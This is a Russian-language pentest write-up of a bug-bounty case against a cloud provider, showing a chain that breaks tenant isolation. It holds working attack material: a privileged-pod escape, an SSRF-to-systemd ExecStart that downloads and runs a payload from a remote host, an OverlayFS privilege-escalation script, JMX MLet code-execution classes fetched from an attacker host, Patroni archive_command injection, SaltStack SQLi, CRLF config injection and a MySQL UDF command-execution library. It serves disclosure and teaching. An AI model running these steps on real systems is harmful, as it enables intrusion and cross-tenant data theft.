Эта статья опубликована исключительно в образовательных целях для повышения осведомленности специалистов по информационной безопасности. Исследование проводилось в рамках официальной программы багбаунти на одной из крупных площадок. Провайдер облачного ресурса был уведомлен об уязвимостях в соответствии с политикой ответственного разглашения, а все выявленные недостатки безопасности были полностью устранены. Инфраструктура, анализируемая в материале, анонимизирована, что делает невозможным определение конкретной организации. Мы уверены, что регулярные пентесты, программы багбаунти, диалог разработчиков и независимых исследователей являются основой безопасности любого ИТ-продукта.
Введение
Многие специалисты считают, что компрометация облачных данных в большинстве случаев происходит по вине клиентов: из-за неправильно настроенных хранилищ или, например, открытых портов. Однако наше тестирование на проникновение крупного облачного провайдера показало, что критические угрозы могут исходить из самой инфраструктуры провайдера.
Данный разбор основан на реальном кейсе, который получил второе место в номинации «Системный взлом» (Web & Logic) на премии Russian Pentest Award 2026. В материале рассматривается последовательная эксплуатация ряда уязвимостей и логических ошибок. В совокупности они привели к критическим бизнес-последствиям и полному обходу изоляции между клиентами внутри облака. 22 октября 2026 года я также представил технический разбор этого кейса на конференции Security Analyst Summit (SAS 2026) в докладе Smash the Tenant Boundary.
1. Получение первоначального доступа через управляемый Kubernetes
Пентест облачной инфраструктуры проводился в рамках исследования модели угроз внешнего злоумышленника с правами рядового клиента. Конечной целью атаки являлся полный захват контроля над облаком.
1.1. Выход за пределы воркер-узла
На первом этапе был создан ресурс в управляемом кластере Kubernetes v1.25.16+k0s.0 облака. Как правило, провайдер намеренно не предоставляет клиентам SSH-доступ на воркер-узлы: пользователи платят не за администрирование серверов. Однако в данном случае политики безопасности кластера не запрещали создание привилегированных подов (pod) с доступом к хостовым пространствам имен. Это позволило развернуть такой под и сменить контекст исполнения на хостовую машину, где запущен контейнер.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
kubectl run pod-name-bla \ --image=alpine \ --restart=Never \ --overrides=' { "apiVersion": "v1", "spec": { "hostPID": true, "containers": [ { "name": "priv", "image": "alpine", "command": [ "sh", "-c", "sleep 3600" ], "stdin": true, "tty": true, "securityContext": { "privileged": true } } ] } }' |
После создания привилегированного пода внутри контейнера выполнялась команда nsenter, которая и обеспечила перенос контекста исполнения на хостовую машину:
|
1 |
nsenter --target 1 --mount --uts --ipc --net --pid – bash |
Вслед за выполнением этой команды оболочка bash запускалась уже на реальной хостовой машине, а не внутри контейнера. И поскольку под был привилегированным, мы получили полный root-доступ к хостовой машине.
Затем был проведен анализ ее файловой системы. В процессе исследования data plane был обнаружен токен сервиса Konnectivity. Этот компонент обеспечивает туннельное соединение между control plane и data plane кластера Kubernetes. Он-то и открыл интересные возможности для развития атаки.
1.2. Анализ сервисов на control plane
Получив доступ к хостовой машине (она же — упомянутый воркер-узел), мы проанализировали ее сетевые интерфейсы (пользовательский VPC и интерфейсы Calico). Из конфигурационного файла kubelet был извлечен адрес kube-apiserver (192.168.0.4). Последующее сканирование этого адреса выявило следующие открытые порты:
|
1 2 3 4 5 6 |
192.168.0.4:9443 open https status=404 192.168.0.4:2380 open 192.168.0.4:6443 open http status=400 192.168.0.4:8132 open 192.168.0.4:9100 open http status=200 title="Node Exporter" 192.168.0.4:9308 open http status=200 title="kube-state-metrics" |
Наибольший интерес представляет порт 8132, на котором работает сервис Konnectivity. Данный сервис создает обратный туннель между control plane и data plane (чтобы была видимость из control plane в data plane) и позволяет управляющим компонентам взаимодействовать с воркер-узлами даже за NAT. Ранее обнаруженный токен konnectivity предоставлял право на взаимодействие с этим сервисом.
1.3. Эксплуатация Konnectivity
Для анализа сервиса на порту 8132 мы развернули локальный стенд. Выяснилось, что в версии v1.25.16+k0s.0 используется форк konnectivity-server, унаследованный от apiserver-network-proxy оригинального Kubernetes.
Небольшой экскурс в k0s: это минималистичный дистрибутив Kubernetes, предназначенный для облачных провайдеров, на его базе удобно разворачивать управляемые кластеры (Managed k8s) с минимальными затратами ресурсов. Важной особенностью k0s является то, что по умолчанию на управляющих узлах (master nodes) запрещен запуск пользовательских подов, что соответствует требованиям к безопасности mk8s в части изоляции плоскости управления.
На упомянутом выше порту 8132 находится сервис AgentService, который предоставляет единственный метод Connect. Этот же метод принимает поток пакетов Packet.
|
1 2 3 |
service AgentService { rpc Connect(stream Packet) returns (stream Packet) {} } |
В коде обнаружилась занятная деталь: при получении сервисом AgentService от воркер-узла пакета типа DIAL_REQ сервер выполняет функцию net.Dial() на стороне control plane. Структура пакетов для метода Connect выглядит так:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
//apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26 enum PacketType { DIAL_REQ = 0; DIAL_RSP = 1; ... } message Packet { PacketType type = 1; oneof payload { DialRequest dialRequest = 2; DialResponse dialResponse = 3; Data data = 4; CloseRequest closeRequest = 5; CloseResponse closeResponse = 6; CloseDial closeDial = 7; } } message DialRequest { // tcp or udp? string protocol = 1; // node:port string address = 2; // random id for client, maybe should be longer int64 random = 3; } |
Сервер читает любые пакеты Packet из стрима, который инициировал агент (воркер-узел):
|
1 2 3 4 |
//apiserver-network-proxy/pkg/server/server.go:721 in, err := stream.Recv() ... recvCh <- in |
Далее пакеты Packet попадают в диспетчер бэкенда :
|
1 2 3 4 5 |
//apiserver-network-proxy/pkg/server/server.go:748 func (s *ProxyServer) serveRecvBackend(...) { for pkt := range recvCh { switch pkt.Type { |
Затем происходит самое интересное:
|
1 2 3 4 5 6 |
//apiserver-network-proxy/pkg/server/server.go:888 case client.PacketType_DIAL_REQ: req := pkt.GetDialRequest() klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address) s.handleDialRequest(pkt, backend) |
То есть DIAL_REQ, пришедший от агента (воркер-узла), считается валидным и передается в обработчик пакетов соответствующего типа (DIAL_REQ).
|
1 2 3 4 5 6 7 8 |
//apiserver-network-proxy/pkg/server/server.go:921 func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) { ... dialReq := pkt.GetDialRequest() resp.GetDialResponse().Random = dialReq.Random start := time.Now() conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address |
Это создало примитив SSRF в контексте control plane, дающий возможность обращаться не только к сетевым ресурсам, но и к UNIX-сокетам хоста. Перспективным кандидатом для взаимодействия был выбран D-Bus (- /run/dbus/system_bus_socket). С помощью утилиты busctl на control plane были обнаружены следующие доступные сервисы:
|
1 2 3 4 5 6 |
org.freedesktop.DBus org.freedesktop.PackageKit org.freedesktop.PolicyKit1 org.freedesktop.login1 org.freedesktop.systemd1 com.ubuntu.SoftwareProperties |
Через метод org.freedesktop.DBus.GetConnectionCredentials (написав свой клиент для D-Bus-клиента на базе github.com/godbus/dbus/v5) удалось получить UID текущего процесса. В данном случае это был 997. Увы, не root — а значит, моментально запустить системный сервис в systemd не получится. Однако все еще можно создать пользовательский (system —user) сервис. Для этого сперва нужно включить linger для нашего UID:
|
1 2 3 4 5 |
busctl --address=unix:path=/tmp/master-dbus.sock \ call org.freedesktop.login1 \ /org/freedesktop/login1 \ org.freedesktop.login1.Manager \ SetUserLinger ubb 997 true false |
После этого открылись следующие сокеты:
|
1 2 |
/run/user/997/bus /run/user/997/systemd/private (этот сокет как раз является аналогом выполнения команд через systemctl --user) |
Через новый сокет обращаемся к методу StartTransientUnit сервиса org.freedesktop.systemd1.Manager:
|
1 2 3 4 5 6 |
StartTransientUnit( name: string, mode: string, properties: a(sv), aux: a(sa(sv)) ) -> job object path |
В параметре properties как раз и передаются стандартные директивы описания systemd сервисов. Прописываем туда следующую строку:
|
1 |
ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '" |
В результате мы успешно получаем обратный вызов (callback) с control plane.
Разработчики проекта k0s, компания Mirantis, подтвердили наличие уязвимости.
1.4. Повышение привилегий на хосте
Поскольку по умолчанию компонент konnectivity-server работает с ограниченными привилегиями, после получения RCE на control plane была проведена их эскалация. Анализ процессов на мастер-ноде выявил запущенный salt-minion. Наличие root-прав позволяет аутентифицироваться в salt-minion от имени данного миньона и развивать вектор атаки уже на него (но это позднее).
В моем кейсе целевой хост функционировал на базе дистрибутива Ubuntu 22.04 с версией ядра 5.15.x. Поскольку пользовательские пространства имен (user namespaces) были включены, актуальным способом повышения привилегий стал известный баг в OverlayFS, позволяющий сохранить привилегии ap_setuid+eip для файла после манипуляций с неймспейсами.
Для эксплуатации уязвимости была создана копия интерпретатора python3 с установленной capability на setuid, что позволило получить root-права.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
rm -rf /tmp/lpe mkdir /tmp/lpe cd /tmp/lpe unshare -rm sh -c ' mkdir l u w m && cp /usr/bin/python3 l/ && chmod 755 l/python3 && setcap cap_setuid+eip l/python3 && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/* ' getcap /tmp/lpe/u/python3 /tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")' |
После получения root-прав открылось несколько интересных векторов:
- На хосте был обнаружен интерфейс
eth2в подсети 100.64.0.0/10. Как оказалось, overlay-сеть облака плоская, что позволяет видеть абсолютно все managed-сервисы. - В системе хранилась пара ключей salt-minion. Это значительно расширяет поверхность атаки, открывая доступ к control plane самого управляемого облака через SaltStack.
2. Приключения в overlay
2.1. Victoria stack
Изучение сетевой активности внутри управляемого ресурса сразу принесло интересные результаты. Анализ трафика показал, что с определенного IP-адреса приходили запросы на сбор метрик узла (обращения к нашему экземпляру kube-state-metrics в mk8s). Как выяснилось, за этим IP-адресом скрывался коллектор метрик — один из экземпляров VictoriaMetrics, обслуживающий множество различных управляемых ресурсов. По аналогии с Prometheus, API VictoriaMetrics раскрывает список источников, с которых собираются метрики.
Обратившись к конечной точке http://100.64.13.37:8429/api/v1/targets, мы обнаружили, что метки каждого источника содержат ценные метаданные:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
"discoveredLabels": { "__address__": "http://100.64.1.1:6897/metrics", "__meta_url": "CENSORED", "__metrics_path__": "/metrics", "__scheme__": "http", "__scrape_interval__": "2m0s", "__scrape_timeout__": "2m0s", "cluster_id": "676767", "customer": "customerID", "job": "http", "profile": "kubernetes", "vds_id": "1337", "version": "1.0" } |
Этот факт стоит зафиксировать: через VictoriaMetrics можно в один запрос получить на руки полный список хостов control plane, принадлежащих другим пользователям облака. Порт 6897 указывает на работу экспортера kube-state-metrics, а поле profile: kubernetes дополнительно подтверждает тип таргета по этому адресу.
В этой же сети обнаружился еще один хост из экосистемы Victoria — VictoriaLogs. Веб-интерфейс этого сервиса на порту 9428 также имеет API-конечные точки, позволяющие извлекать чувствительные данные. Например, конечная точка /select/logsql/query давала возможность несанкционированно читать абсолютно все логи любых управляемых ресурсов в облаке.
При анализе логов control plane для Managed k8s обнаружилась критическая деталь: в скриптах cloud-init по умолчанию генерировались приватные SSH-ключи для учетной записи root. Данные ключи выводились в stdout и автоматически сохранялись в общих журналах системы.
Сопоставление некоторых значений лейблов из VictoriaMetrics помогли восстановить исходные имена целевого хоста. Это упрощает фильтрацию данных в VictoriaLogs и позволяет однозначно связать скомпрометированный приватный ключ и с целевым узлом, в котором этот ключ можно применить.
Используя скомпрометированный приватный ключ привилегированной учетной записи, мы могли подключиться по SSH к целевым узлам и получить полный контроль над чужими кластерами.
Вероятно, в логах сервисов другого типа можно обнаружить и иные чувствительные данные для дальнейшего увеличения импакта.
2.2. Компрометация управляемых экземпляров Kafka
Была исследована возможность развертывания управляемых ресурсов Apache Kafka. Как и предполагалось, эти экземпляры также удалось обнаружить в плоской overlay-сети. Так, на одном из хостов с Kafka был открыт порт 9999, который оказался не чем иным, как JMX Registry.
Механизм JMX Registry уязвим по своей специфике: он возвращает вызывающему клиенту RMI stub-host, что позволяет удаленно загрузить собственный произвольный MBean-класс и выполнить произвольный код. Запустив сканирование с помощью утилиты nmap -sC на registry-порту, мы определили точный порт службы RMI, с которым далее будем взаимодействовать. Для реализации атаки был подготовлен набор Java-скриптов со следующей структурой:
JmxCreateMBean.java— отвечает за подключение кJMX Registryи созданиеMBean-компонентаjavax.management.loading.MLet(класс, позволяющий подгружать классы по указанному URL)JmxInvoke.java— вызывает выбранный методMBeanчерезJMX RegistryExecMBean.java и Exec.java— кастомный легковесный тестовыйMBean-компонент с методомrun(String cmd), реализующий интерфейс удаленного выполнения команд
Фрагмент кода, отвечающий за подключение и инициализацию MBean-компонента, выглядит следующим образом:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
//JmxCreateMBean.java ... import javax.management.remote.JMXConnector; import javax.management.remote.JMXConnectorFactory; import javax.management.remote.JMXServiceURL; public class JmxCreateMBean { private static final class RewritingSocketFactory extends RMISocketFactory { private final String fromHost; private final String toHost; RewritingSocketFactory(String fromHost, String toHost) { ... } @Override public Socket createSocket(String host, int port) throws IOException { ... } @Override public ServerSocket createServerSocket(int port) throws IOException { ... } } public static void main(String[] args) throws Exception { ... RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3])); String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]); try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) { var mbsc = connector.getMBeanServerConnection(); try { ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5])); System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName()); } catch (InstanceAlreadyExistsException e) { System.out.println("EXISTS " + args[5]); } } } } |
Ниже представлена реализация вредоносного класса Exec.java, предоставляющего методы для выполнения shell-команд, а также чтения и записи файлов через Base64:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
// Exec.java import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Path; import java.util.Base64; public class Exec implements ExecMBean { @Override public String run(String cmd) throws Exception { Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start(); byte[] out = p.getInputStream().readAllBytes(); int rc = p.waitFor(); return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8); } @Override public String getB64(String path) throws Exception { return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path))); } @Override public String putB64(String path, String b64) throws Exception { byte[] data = Base64.getDecoder().decode(b64); Files.write(Path.of(path), data); return "wrote " + data.length + " bytes"; } } |
Скомпилировав собственный MBean, мы размещаем собранный .jar-файл на удаленном веб-сервере и подготавливаем конфигурационный файл mlet.html для его последующей загрузки целевым сервером.
|
1 2 3 |
<html> <mlet code="Exec" archive="execmbean.jar" name="payload:type=Exec"></mlet> </html> |
И далее воспроизводим следующую цепочку действий:
- Создание стандартного загрузчика
MLetвнутриJVM Kafka. - Загрузка вредоносного
MBeanна целевой сервер путем вызова методаgetMBeansFromURLу стандартного MLet-компонента (DefaultDomain:type=MLet). В качестве аргумента передается URL-адрес подготовленного файла:http://attacker_ip:8000/mlet.html. - Вызов метода
run(String cmd)у загруженного MBean для RCE на хосте.
Данный вектор стал возможен из-за того, что RMI stub-host, который по стандартам безопасности должен быть привязан только к интерфейсу loopback (127.0.0.1), был ошибочно выставлен в общую overlay-сеть облака.
2.3. Утечка учетных данных через redis exporter
Следующим этапом стал анализ хостов с управляемыми экземплярами Redis. На каждом из них рядом с основным портом 6379 был развернут сервис redis exporter (порт 9121). Анализ его исходного кода выявил логическую уязвимость в обработке параметра target:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
//redis_exporter/exporter/http.go:47 func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) { target := r.URL.Query().Get("target") ... if !strings.Contains(target, "://") { target = "redis://" + target } u, err := url.Parse(target) ... opts := e.options ... _, err = NewRedisExporter(target, opts) ... |
По сути, обработчик /scrape принимает произвольный параметр target и пытается собрать с него метрики, используя те же учетные данные, с которыми экспортер подключается к своему основному экземпляру Redis. Если направить запрос redis exporter на свой хост (например, с запущенным nc -nvlp 6379), появляется возможность перехватить следующие учетные данные:
|
1 |
http://<redis_exporter_host>:9121/scrape?target=<fake_redis_server> |
Полученные креды позволили подключаться к экземплярам Redis других клиентов и выполнять операции чтения, модификации и удаления хранимых данных.
(Примечание. В период проведения исследования была опубликована уязвимость, приводящая к RCE в Redis, что в сочетании с полученным доступом позволяло полностью скомпрометировать сервисы других пользователей.)
2.4. Компрометация управляемых кластеров PostgreSQL (Patroni)
Наряду с managed-кластерами Kubernetes, СУБД PostgreSQL является одним из наиболее востребованных управляемых ресурсов. Поэтому следующим этапом в overlay-сети стал анализ хостов PostgreSQL. При сканировании узлов с открытым портом PostgreSQL (5432) были обнаружены смежные службы на портах 2379 (распределенное хранилище etcd) и 8008 (Patroni REST API). Если REST API Patroni требовал аутентификации, то доступ к etcd оказался полностью открытым. В ходе анализа содержимого etcd был выявлен критический ключ /v2/keys/service/pg-cluster/config, который содержал конфигурацию Patroni.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
{ "ttl": 30, "loop_wait": 10, "retry_timeout": 10, "maximum_lag_on_failover": 1048576, "postgresql": { "use_pg_rewind": true, "parameters": { "archive_command": "id", "archive_mode": "always", "max_connections": 550, "max_locks_per_transaction": 512, "max_worker_processes": 27 } } } |
Возможность записи в данный конфигурационный файл позволяет изменить параметр
archive_command на удобную для атакующего команду для получения RCE на целевом хосте при запуске процесса архивации. Чтобы не ждать естественного заполнения WAL, был найден способ принудительного запуска архивации даже с минимальным уровнем доступа:
- Обновляем конфигурации Patroni с измененным
archive_command:
1curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jq - Повторно обновляем конфигурацию, добавляя параметр
standby_cluster:
123456789101112131415161718192021{"ttl": 30,"loop_wait": 10,"retry_timeout": 10,"maximum_lag_on_failover": 1048576,"postgresql": {"use_pg_rewind": true,"parameters": {"archive_command": "rce","archive_mode": "on","archive_timeout": "10","max_connections": 550,"max_locks_per_transaction": 512,"max_worker_processes": 27}},"standby_cluster": {"host": "192.0.2.1","port": 5432}}
После применения этого параметра Patroni определяет конфликт ролей для текущего мастера. В логах появляется подобная процедура:
|
1 2 3 4 |
cannot be a real primary in standby cluster Demoting self (demote-cluster) received fast shutdown request checkpoint starting: shutdown immediate |
Вслед за этим запускается перезапуск Postgres, а также процедура архивации и выполнения внедренной команды:
Таким образом возможно заходить на чужие СУБД Postgres и получать полный контроль над данными. В качестве дополнительного фактора риска на этих хостах были обнаружены файлы с учетными данными для доступа к S3-хранилищу.
Это хранилище содержит резервные копии не только текущего экземпляра, но и всех остальных баз данных в облаке.
3. Атака на управляющую инфраструктуру SaltStack
После получения root-доступа к узлу control plane наше внимание было переключено на службу конфигурационного управления SaltStack.
3.1. Анализ salt fs
Первым шагом стала полная выгрузка файловой системы Salt Master для последующего статического анализа:
Файлов оказалось очень много.
|
1 2 3 4 |
salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do mkdir -p "/tmp/dump/$(dirname "$f")" salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null done |
Поскольку используемая версия Salt была актуальной, известные CVE не применялись. Однако среди файлов на salt-master был обнаружен пользовательский скрипт (_pillar/somebase.py) с критической уязвимостью, написанный вендором для обслуживания миньонов с сервисом somebase. Уязвимость заключается в небезопасном формировании SQL-запроса через метод query.format():
|
1 2 3 4 5 6 |
sql = query.format( minion_id=minion_id, pillar={**pillar, **results}, grains=__grains__, ) loaded_items = db_connections[db_alias].load_object_list(sql) |
Так как salt-миньон может инициировать обновление pillar и передавать на salt-master произвольные метаданные (grains), атакующий имеет возможность передавать внедрение SQL-кода через параметр some_id внутри grains. При обработке запроса расширением на стороне salt-master сгенерированный SQL-запрос выполняется в базе данных prod-cloud. В результате уязвимость позволяет проводить SQL-инъекцию на основе ошибок.
3.2. Эксплуатация SQLi
Через эту уязвимость был получен доступ в разные схемы базы, наиболее интересной из которых была cloudsmth, содержавшая около 50 таблиц с метаданными обо всех управляемых ресурсах и VDS.
Примечательней оказалась таблица salt-masters с токенами аутентификации всех salt-masters.
Наличие этих токенов позволило обращаться к REST API Salt Master и выполнять произвольные команды на всех подконтрольных узлах (minions) облака:
|
1 |
curl -k https://salt-master:8000 -H "Accept: application/json" -H "Content-Type: application/json" -H "X-Auth-Token: REDACTED" -d '[{"client":"local","tgt":"hostname-minion","fun":"cmd.run","arg":["id; hostname"]}]' |
По согласованию с вендором дальнейшее развитие атаки было остановлено, но в целом получение доступа к salt-masters и базе данных prod-cloud позволяло в один шаг осуществить полноценный захват всех ресурсов (включая VDS, S3 и другие сервисы).
4. Другие способы атаки на облако
Хотелось бы упомянуть иные способы попадания в overlay-сеть, поскольку среди них тоже встречались интересные кейсы.
4.1. Эксплуатация уязвимости в Managed Valkey
В ходе исследования развернутых экземпляров Valkey в облачной инфраструктуре было установлено, что используемая версия ПО уязвима к CVE-2026-25243. На момент анализа публичные концепты (PoC) или эксплойты для данной уязвимости отсутствовали. Для изучения механизмов проявления уязвимости были проанализированы диагностические данные, полученные с помощью команды INFO:
|
1 2 3 4 5 6 7 8 9 |
valkey_version=7.2.11 redis_version=7.2.4 redis_git_sha1=97b6663c redis_git_dirty=0 redis_build_id=a75ca2f023d97d88 gcc_version=13.3.0 arch_bits=64 os=Linux 6.8.0-124-generic x86_64 executable=/usr/bin/valkey-server |
Идентификатор redis_build_id позволил точно определить используемый бинарный файл, который совпал с официальным билдом для Ubuntu Noble x86_64.
Суть уязвимости CVE-2026-25243 заключается в некорректной обработке сериализованных объектов RDB оператором RESTORE. При использовании устаревшей кодировки hash-zipmap валидатор принимает 5-байтовое представление длины для короткого ключа, однако последующий парсер интерпретирует внутренние байты ключа как кодировку длины значения. Это несоответствие приводит к возможности выхода за пределы буфера и перезаписи смежных чанков в куче (Heap Overflow), что потенциально позволяет добиться произвольной записи в память (Arbitrary Write). После успешной записи в смежные участки памяти (Arbitrary Write) возникло препятствие в виде строгих правил systemd sandbox:
|
1 2 3 4 5 6 7 8 9 |
NoExecPaths=/ ExecPaths=/usr/bin/valkey-server /usr/lib /lib CapabilityBoundingSet= NoNewPrivileges=true PrivateUsers=true ProtectSystem=strict ProtectHome=true SystemCallFilter=@system-service SystemCallFilter=~ @privileged @resources |
Данные параметры запрещают исполнение стандартных оболочек (например, /bin/sh). Тем не менее конфигурация монтирования каталога /tmp позволяла осуществлять запись. Модификация логики процесса позволила инициировать загрузку и выполнение стороннего компонента из /tmp, который не подпадал под действие правила noexec. После получения стабильного канала связи в файл /var/lib/valkey/.ssh/authorized_keys был добавлен SSH-ключ. Это обеспечило независимый доступ к хосту и возможность дальнейшей эскалации привилегий стандартными методами (LPE).
В данном случае сработала уязвимость GRO Frag, однако новые LPE выходят каждую неделю, поэтому вариантов для повышения прав и продолжения атаки на Salt Master может быть много.
4.2. MySQL
При создании ресурса у пользователя базы данных MySQL не было root-прав.
|
1 2 3 4 5 6 7 8 |
DROP TABLE IF EXISTS mysql.global_grants; CREATE TABLE mysql.global_grants ( USER char(32) NOT NULL DEFAULT '', HOST char(255) NOT NULL DEFAULT '', PRIV char(32) NOT NULL DEFAULT '', WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N', PRIMARY KEY (USER, HOST, PRIV) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0; |
Однако логика приложения позволяла этому пользователю удалять и пересоздавать таблицу с динамическими привилегиями:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
DROP TABLE IF EXISTS mysql.user; CREATE TABLE mysql.user ( Host char(255) NOT NULL DEFAULT '%', User char(32) NOT NULL DEFAULT '', Select_priv enum('N','Y') NOT NULL DEFAULT 'Y', Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y', Update_priv enum('N','Y') NOT NULL DEFAULT 'Y', Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_priv enum('N','Y') NOT NULL DEFAULT 'Y', Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y', Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y', Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y', Process_priv enum('N','Y') NOT NULL DEFAULT 'Y', File_priv enum('N','Y') NOT NULL DEFAULT 'Y', Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y', References_priv enum('N','Y') NOT NULL DEFAULT 'Y', Index_priv enum('N','Y') NOT NULL DEFAULT 'Y', Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y', Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y', Super_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y', Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y', Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y', Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y', Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y', Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y', Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y', Event_priv enum('N','Y') NOT NULL DEFAULT 'Y', Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y', ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '', ssl_cipher blob NOT NULL, x509_issuer blob NOT NULL, x509_subject blob NOT NULL, max_questions int unsigned NOT NULL DEFAULT 0, max_updates int unsigned NOT NULL DEFAULT 0, max_connections int unsigned NOT NULL DEFAULT 0, max_user_connections int unsigned NOT NULL DEFAULT 0, plugin char(64) NOT NULL DEFAULT 'caching_sha2_password', authentication_string text, password_expired enum('N','Y') NOT NULL DEFAULT 'N', password_last_changed timestamp NULL DEFAULT NULL, password_lifetime smallint unsigned DEFAULT NULL, account_locked enum('N','Y') NOT NULL DEFAULT 'N', Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y', Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y', Password_reuse_history smallint unsigned DEFAULT NULL, Password_reuse_time smallint unsigned DEFAULT NULL, Password_require_current enum('N','Y') DEFAULT NULL, User_attributes json DEFAULT NULL, PRIMARY KEY (Host, User) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0; |
После перезагрузки базы и создания нового пользователя он автоматически получал полные права администратора. Добавляем ему еще привилегий:
|
1 2 3 4 |
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y'); INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y'); INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y'); FLUSH PRIVILEGES; |
В базе привилегии повысили, теперь нужно сделать RCE. Далее была скомпилирована пользовательская UDF-библиотека для выполнения системных команд.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
#include <stdlib.h> #include <string.h> #include <stdio.h> typedef unsigned long long udf_args_type; typedef struct { unsigned int arg_count; unsigned int *arg_type; char **args; unsigned long *lengths; char *maybe_null; char **attributes; unsigned long *attribute_lengths; void *extension; } UDF_ARGS; typedef struct { char maybe_null; unsigned int decimals; unsigned long max_length; char *ptr; char const_item; void *extension; } UDF_INIT; int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { if (args->arg_count != 1) { strcpy(message, "sys_eval requires one argument"); return 1; } initid->max_length = 65535; return 0; } void sys_eval_deinit(UDF_INIT *initid) {} char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error) { if (!args->args[0]) { *is_null = 1; return NULL; } char cmd[65535]; snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]); FILE *pipe = popen(cmd, "r"); if (!pipe) { *is_null = 1; return NULL; } static char buf[65535]; size_t total = 0; while (total < sizeof(buf)-1) { size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe); if (n == 0) break; total += n; } pclose(pipe); buf[total] = '\0'; *length = total; return buf; } |
Для получения RCE была проведена CRLF-инъекция в конфигурационный файл через API облачного провайдера:
|
1 2 3 4 |
curl -s -X PATCH "https://somecloud/api/dbaas/id" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"config_parameters":{"default-time-zone":"+00:00\nsecure_file_priv=\nplugin_dir=/var/lib/mysql-files/\ndefault-time-zone=+00:00\n#"}}' |
Данный вектор позволил внедрить переводы строк и переопределить критические параметры конфигурации:
|
1 2 3 |
default-time-zone="+00:00 secure_file_priv= # снятие ограничений на запись, что позволяет сохранять файлы в любую директорию, доступную пользователю MySQL. plugin_dir=/var/lib/mysql-files/ # установка доверенной директории для загрузки динамических библиотек. |
Используя полученные права на запись, вредоносная UDF-библиотека (Shared Object) была загружена в целевую директорию с помощью SQL-оператора:
|
1 |
SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.so |
